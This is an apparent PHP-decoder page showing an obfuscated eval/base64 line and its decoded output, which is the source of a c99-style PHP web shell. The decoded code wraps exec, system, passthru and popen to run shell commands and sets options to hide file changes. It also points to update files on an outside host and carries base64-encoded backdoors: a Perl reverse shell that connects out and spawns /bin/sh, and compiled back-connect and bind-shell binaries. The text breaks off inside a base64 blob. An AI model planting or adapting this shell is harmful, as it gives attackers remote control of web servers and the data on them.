Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? eval(gzinflate(base64_decode('HJ3HjutakkV/pWb1AA7oHdDoAknRe28mBXrvrfj1rWzkRMh7JUrnROxYS..

Decoded Output download

?><?php  
/*******************************************/  
/* c99 injector v1 09.2011                 */  
/* Re-coded or modified By s4l1ty          */  
/*******************************************/  
$sh_id = "SkFOQ09L=";  
$sh_ver = "- exploit";  
$sh_name = base64_decode($sh_id).$sh_ver;  
$sh_mainurl = "http://s4l1ty.binhoster.com";  
$html_start = ''.  
'<html><head>  
<title>'.$sh_name. ' - '.getenv("HTTP_HOST").'</title>  
<style type="text/css"> 
<!-- 
body,table { font-family:verdana;font-size:11px;color:red;background-color:black; } 
table { width:100%; } 
table,td { border:1px solid #00752D;margin-top:2;margin-bottom:2;padding:5px; } 
a { color:lightblue;text-decoration:none; } 
a:active { color:#00FF00; } 
a:link { color:#00FF00; } 
a:hover { text-decoration:underline; } 
a:visited { color:#99CCFF; } 
input,select,option { font:8pt tahoma;color:#FFFFFF;margin:2;border:1px solid #FF0000; } 
textarea { color:#dedbde;font:fixedsys bold;border:1px solid #666666;margin:2; } 
.fleft { float:left;text-align:left; } 
.fright { float:right;text-align:right; } 
#pagebar { font:10pt tahoma;padding:5px; border:3px solid #1E1E1E; border-collapse:collapse; } 
#pagebar td { vertical-align:top; } 
#pagebar p { font:8pt tahoma;} 
#pagebar a { font-weight:bold;color:#00FF00; } 
#pagebar a:visited { color:#00FF00; } 
#mainmenu { text-align:center; } 
#mainmenu a { text-align: center;padding: 0px 5px 0px 5px; } 
#maininfo,.barheader,.barheader2 { text-align:center; } 
#maininfo td { padding:3px; } 
.barheader { font-weight:bold;padding:5px; } 
.barheader2 { padding:5px;border:2px solid #1F1F1F; } 
.contents,.explorer { border-collapse:collapse;} 
.contents td { vertical-align:top; } 
.mainpanel { border-collapse:collapse;padding:5px; } 
.barheader,.mainpanel table,td { border:1px solid #333333; } 
.mainpanel input,select,option { border:1px solid #FF0000;margin:0; } 
input[type="submit"] { border:1px solid #FF0000; } 
input[type="text"] { padding:3px;} 
.shell { background-color:#C0C0C0;color:#000080;padding:5px; } 
.fxerrmsg { color:red; font-weight:bold; } 
#pagebar,#pagebar p,h1,h2,h3,h4,form { margin:0; } 
#pagebar,.mainpanel,input[type="submit"] { background-color:#4A4A4A; } 
.barheader2,input,select,option,input[type="submit"]:hover { background-color:#333333; } 
textarea,.mainpanel input,select,option { background-color:#000000; } 
// --> 
</style> 
 </head> 
<body>  
';  
//Authentication  
$login = "";   
$pass = "";  
$md5_pass = "md5($pass)"; //Password yg telah di enkripsi dg md5. Jika kosong, md5($pass).  
$host_allow = array("*"); //Contoh: array("192.168.0.*","127.0.0.1")  
$login_txt = "Restricted Area"; //Pesan HTTP-Auth  
$accessdeniedmess = "<a href=\"$sh_mainurl\">".$sh_name."</a>: access denied";  
$gzipencode = TRUE;  
$updatenow = FALSE; //Jika TRUE, update shell sekarang.  
$c99sh_updateurl = $sh_mainurl."ipays.php";  
$c99sh_sourcesurl = $sh_mainurl."passs.txt";  
//$c99sh_updateurl = "http://www.utama-audio.com/ipays/tool/";  
//$c99sh_sourcesurl = "http://www.utama-audio.com/ipays/tool/passs.txt";  
$filestealth = TRUE; //TRUE, tidak merubah waktu modifikasi dan akses.  
$curdir = "./";  
$tmpdir = "";   
$tmpdir_log = "./";  
$log_email = "[email protected]"; //email untuk pengiriman log.  
$sort_default = "0a"; //Pengurutan, 0 - nomor kolom. "a"scending atau "d"escending  
$sort_save = TRUE; //Jika TRUE, simpan posisi pengurutan menggunakan cookies.  
$sess_cookie = "c99shvars"; //Nama variabel Cookie  
$usefsbuff = TRUE; //Buffer-function  
$copy_unset = FALSE; //Hapus file yg telah di-copy setelah dipaste  
$hexdump_lines = 8;  
$hexdump_rows = 24;  
$win = strtolower(substr(PHP_OS,0,3)) == "win";  
$disablefunc = @ini_get("disable_functions");  
if (!empty($disablefunc)) {  
  $disablefunc = str_replace(" ","",$disablefunc);  
  $disablefunc = explode(",",$disablefunc);  
}  
//Functions  
function get_phpini() {  
  function U_wordwrap($str) {  
    $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);  
    return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);  
  }  
  function U_value($value) {  
    if ($value == '') return '<i>no value</i>';  
    if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';  
    if ($value === null) return 'NULL';  
    if (@is_object($value)) $value = (array) $value;  
    if (@is_array($value)) {  
      @ob_start();  
      print_r($value);  
      $value = @ob_get_contents();  
      @ob_end_clean();  
    }  
    return U_wordwrap((string) $value);  
  }  
  if (@function_exists('ini_get_all')) {  
    $r = "";  
    echo "<table><tr class=barheader><td>Directive</td><td>Local Value</td><td>Global Value</td></tr>";  
    foreach (@ini_get_all() as $key=>$value) {  
      $r .= "<tr><td>".$key."</td><td><div align=center>".U_value($value['local_value'])."</div></td><td><div align=center>".U_value($value['global_value'])."</div></td></tr>";  
    }  
    echo $r;  
    echo "</table>";  
  }  
}  
function disp_drives($curdir,$surl) {  
  $letters = "";  
  $v = explode("\",$curdir);  
  $v = $v[0];  
  foreach (range("A","Z") as $letter) {  
    $bool = $isdiskette = $letter == "A";  
    if (!$bool) {$bool = is_dir($letter.":\");}  
    if ($bool) {  
      $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\")."\"".  
      ($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"")."> [";  
      if ($letter.":" != $v) {$letters .= $letter;}  
      else {$letters .= "<font color=yellow>".$letter."</font>";}  
      $letters .= "]</a> ";  
    }  
  }  
  if (!empty($letters)) {Return $letters;}  
  else {Return "None";}  
}  
if (is_callable("disk_free_space")) {  
  function disp_freespace($curdrv) {  
    $free = disk_free_space($curdrv);  
    $total = disk_total_space($curdrv);  
    if ($free === FALSE) {$free = 0;}  
    if ($total === FALSE) {$total = 0;}  
    if ($free < 0) {$free = 0;}  
    if ($total < 0) {$total = 0;}  
    $used = $total-$free;  
    $free_percent = round(100/($total/$free),2)."%";  
    $free = view_size($free);  
    $total = view_size($total);  
    return "$free of $total ($free_percent)";  
  }  
}  
//w4ck1ng Shell  
if (!function_exists("myshellexec")) {  
  if(is_callable("popen")) {  
    function myshellexec($cmd) {  
      if (!($p=popen("($cmd)2>&1","r"))) { return "popen Disabled!"; }  
      while (!feof($p)) {  
        $line=fgets($p,1024);  
        $out .= $line;  
      }  
      pclose($p);  
      return $out;  
    }  
  } else {  
    function myshellexec($cmd) {  
      global $disablefunc;  
      $result = "";  
      if (!empty($cmd)) {  
        if (is_callable("exec") and !in_array("exec",$disablefunc)) {  
          exec($cmd,$result);  
          $result = join("
",$result);  
        } elseif (($result = $cmd) !== FALSE) {  
        } elseif (is_callable("system") and !in_array("system",$disablefunc)) {  
          $v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;  
        } elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {  
          $v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;  
        } elseif (is_resource($fp = popen($cmd,"r"))) {  
          $result = "";  
          while(!feof($fp)) { $result .= fread($fp,1024); }  
          pclose($fp);  
        }  
      }  
      return $result;  
    }  
  }  
}  
function ex($cfe) {  
  $res = '';  
  if (!empty($cfe)) {  
    if(function_exists('exec')) {  
      @exec($cfe,$res);  
      $res = join("
",$res);  
    } elseif(function_exists('shell_exec')) {  
      $res = @shell_exec($cfe);  
    } elseif(function_exists('system')) {  
      @ob_start();  
      @system($cfe);  
      $res = @ob_get_contents();  
      @ob_end_clean();  
    } elseif(function_exists('passthru')) {  
      @ob_start();  
      @passthru($cfe);  
      $res = @ob_get_contents();  
      @ob_end_clean();  
    } elseif(@is_resource($f = @popen($cfe,"r"))) {  
      $res = "";  
      while(!@feof($f)) { $res .= @fread($f,1024); }  
      @pclose($f);  
    } else { $res = "Ex() Disabled!"; }  
  }  
  return $res;  
}  
function which($pr) {  
  $path = ex("which $pr");  
  if(!empty($path)) { return $path; } else { return $pr; }  
}  
//End of w4ck1ng Shell  

//Start Enumerate function  
$hostname_x = php_uname(n);  
$itshome = getcwd();  
if (!$win) {  
  $itshome = str_replace("/home/","~",$itshome);  
  $itshome = str_replace("/public_html","/yx29sh.php",$itshome);  
}  
else { $itshome = ""; }  
$enumerate = "http://".$hostname_x."/".$itshome."";  
//End Enumerate function  

//milw0rm search  
$Lversion = php_uname(r);  
$OSV = php_uname(s);  
if(eregi("Linux",$OSV)) {  
  $Lversion=substr($Lversion,0,6);  
  $millink="http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion;  
} else {  
  $Lversion=substr($Lversion,0,3);  
  $millink ="http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion;  
}  
//End of milw0rm search  

//Backdoor  
$back_connect_pl = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiOyc7DQokc3lzdGVtMT0gJ2VjaG8gImBpZGAiOyc7DQokc3lzdGVtMj0gJ2VjaG8gImBwd2RgIjsnOw0KJHN5c3RlbTM9ICdlY2hvICJgd2hvYW1pYEBgaG9zdG5hbWVgOn4gPiI7JzsNCiRzeXN0ZW00PSAnL2Jpbi9zaCc7DQokMD0kY21kOw0KJHRhcmdldD0kQVJHVlswXTsNCiRwb3J0PSRBUkdWWzFdOw0KJGlhZGRyPWluZXRfYXRvbigkdGFyZ2V0KSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQokcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsICRpYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCnNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCmNvbm5lY3QoU09DS0VULCAkcGFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuXG46OiB3NGNrMW5nLXNoZWxsIChQcml2YXRlIEJ1aWxkIHYwLjMpIHJldmVyc2Ugc2hlbGwgOjpcblxuIjsNCnByaW50ICJcblN5c3RlbSBJbmZvOiAiOyANCnN5c3RlbSgkc3lzdGVtKTsNCnByaW50ICJcbllvdXIgSUQ6ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkN1cnJlbnQgRGlyZWN0b3J5OiAiOyANCnN5c3RlbSgkc3lzdGVtMik7DQpwcmludCAiXG4iOw0Kc3lzdGVtKCRzeXN0ZW0zKTsgc3lzdGVtKCRzeXN0ZW00KTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";  
$back_connect_c = "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAA2IUECDQAAABMDAAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQILAkAACwJAAAFAAAAABAAAAEAAAAsCQAALJkECCyZBAg4AQAAPAEAAAYAAAAAEAAAAgAAAEAJAABAmQQIQJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAABQAAABEAAAAUAAAAAAAAAAAAAAARAAAAEgAAAAcAAAAKAAAACwAAAAgAAAAPAAAAAwAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAABgAAAAAAAAABAAAAAAAAAAkAAAAAAAAADAAAAAAAAAAAAAAADQAAAA4AAAACAAAABAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAAAAAABwBAAASAAAArAAAAAAAAABxAAAAEgAAADwAAAAAAAAACwIAABIAAABIAAAAAAAAAH0AAAASAAAAjAAAAAAAAACsAQAAEgAAAKUAAAAAAAAArwAAABIAAABjAAAAAAAAACcAAAASAAAAkwAAAAAAAADdAAAAEgAAAEMAAAAAAAAAOgAAABIAAABcAAAAAAAAAKoBAAASAAAAVgAAAAAAAAA2AAAAEgAAAHMAAAAAAAAA2QAAABIAAAB4AAAAAAAAACgAAAASAAAAbQAAAAAAAAAOAAAAEgAAAC4AAAAAAAAAeAAAABIAAAB9AAAA8IgECAQAAAARAA4ATwAAAAAAAAA5AAAAEgAAAAEAAAAAAAAAAAAAACAAAAAVAAAAAAAAAAAAAAAgAAAAAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AGNvbm5lY3QAZXhlY2wAcGVycm9yAGR1cDIAc3lzdGVtAHNvY2tldABiemVybwBzdHJjYXQAaW5ldF9hZGRyAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABkYWVtb24AX19saWJjX3N0YXJ0X21haW4Ac3RybGVuAGNsb3NlAEdMSUJDXzIuMAAAAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAEAAgAAAAAAAQABACQAAAAQAAAAAAAAABBpaQ0AAAIAsgAAAAAAAAAImgQIBhMAABiaBAgHAQAAHJoECAcCAAAgmgQIBwMAACSaBAgHBAAAKJoECAcFAAAsmgQIBwYAADCaBAgHBwAANJoECAcIAAA4mgQIBwkAADyaBAgHCgAAQJoECAcLAABEmgQIBwwAAEiaBAgHDQAATJoECAcOAABQmgQIBw8AAFSaBAgHEQAAVYnlg+wI6EEBAADolAEAAOjnAwAAycMA/zUQmgQI/yUUmgQIAAAAAP8lGJoECGgAAAAA6eD/////JRyaBAhoCAAAAOnQ/////yUgmgQIaBAAAADpwP////8lJJoECGgYAAAA6bD/////JSiaBAhoIAAAAOmg/////yUsmgQIaCgAAADpkP////8lMJoECGgwAAAA6YD/////JTSaBAhoOAAAAOlw/////yU4mgQIaEAAAADpYP////8lPJoECGhIAAAA6VD/////JUCaBAhoUAAAAOlA/////yVEmgQIaFgAAADpMP////8lSJoECGhgAAAA6SD/////JUyaBAhoaAAAAOkQ/////yVQmgQIaHAAAADpAP////8lVJoECGh4AAAA6fD+//8x7V6J4YPk8FBUUmhoiAQIaBSIBAhRVmiAhgQI6E/////0kJBVieVT6AAAAABbgcMHFAAAUouD/P///4XAdAL/0FhbycOQkJBVieWD7AiAPWSaBAgAdA/rH412AIPABKNgmgQI/9KhYJoECIsQhdJ168YFZJoECAHJw4n2VYnlg+wIoTyZBAiFwHQZuAAAAACFwHQQg+wMaDyZBAj/0IPEEI12AMnDkJBVieVXVlOD7EyD5PC4AAAAAIPAD4PAD8HoBMHgBCnEjX2ovvSIBAj8uQcAAADzpI19r/y5DgAAALAA86qD7AhqAGoB6FD+//+DxBBmx0XIAgCD7AyLRQyDwAj/MOi3/v//g8QQD7fAg+wMUOi4/v//g8QQZolFyoPsDItFDIPABP8w6DH+//+D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EgAAAFwCAAAAAAAAKAAAABIAAABsAgAAZJoECAAAAAAQAPH/cwIAAAyaBAgAAAAAEQAVAIkCAABomgQIAAAAABAA8f+OAgAAAAAAAA4AAAASAAAAnwIAAAAAAAB4AAAAEgAAALICAAAsmQQIAAAAABAC8f/FAgAA8IgECAQAAAARAA4A1AIAAFiaBAgAAAAAEAAWAOECAAAAAAAAOQAAABIAAADzAgAAAAAAAAAAAAAgAAAABwMAACyZBAgAAAAAEALx/x0DAAAAAAAAAAAAACAAAAAAY2FsbF9nbW9uX3N0YXJ0AGNydHN0dWZmLmMAX19DVE9SX0xJU1RyxwByx0RUT1JfTElTVF9fAF9fSkNSX0xJU1RyxwBwLjAAY29tcGxldGVkLjEAX19kb19nbG9iYWxfZHRvcnNfYXV4AGZyYW1lX2R1bW15AF9fQ1RPUl9FTkRyxwByx0RUT1JfRU5EX18AX19GUkFNRV9FTkRyxwByx0pDUl9FTkRyxwByx2RvX2dsb2JhbF9jdG9yc19hdXgAYmFjay5jAGV4ZWNsQEBHTElCQ18yLjAAX0RZTkFNSUMAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAX19maW5pX2FycmF5X2VuZAByx2Rzb19oYW5kbGUAX19saWJjX2NzdV9maW5pAHN5c3RlbUBAR0xJQkNfMi4wAF9pbml0AGRhZW1vbkBAR0xJQkNfMi4wAF9zdGFydABzdHJsZW5AQEdMSUJDXzIuMAByx2ZpbmlfYXJyYXlfc3RhcnQAX19saWJjX2NzdV9pbml0AGluZXRfYWRkckBAR0xJQkNfMi4wAF9fYnNzX3N0YXJ0AG1haW4AX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMAByx2luaXRfYXJyYXlfZW5kAGR1cDJAQEdMSUJDXzIuMABzdHJjYXRAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AF9maW5pAF9fcHJlaW5pdF9hcnJheV9lbmQAYnplcm9AQEdMSUJDXzIuMABleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2VuZABodG9uc0BAR0xJQkNfMi4wAGNvbm5lY3RAQEdMSUJDXzIuMAByx2luaXRfYXJyYXlfc3RhcnQAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19wcmVpbml0X2FycmF5X3N0YXJ0AF9fZ21vbl9zdGFydF9fAA==";  
$backdoor = "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZAByx2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAA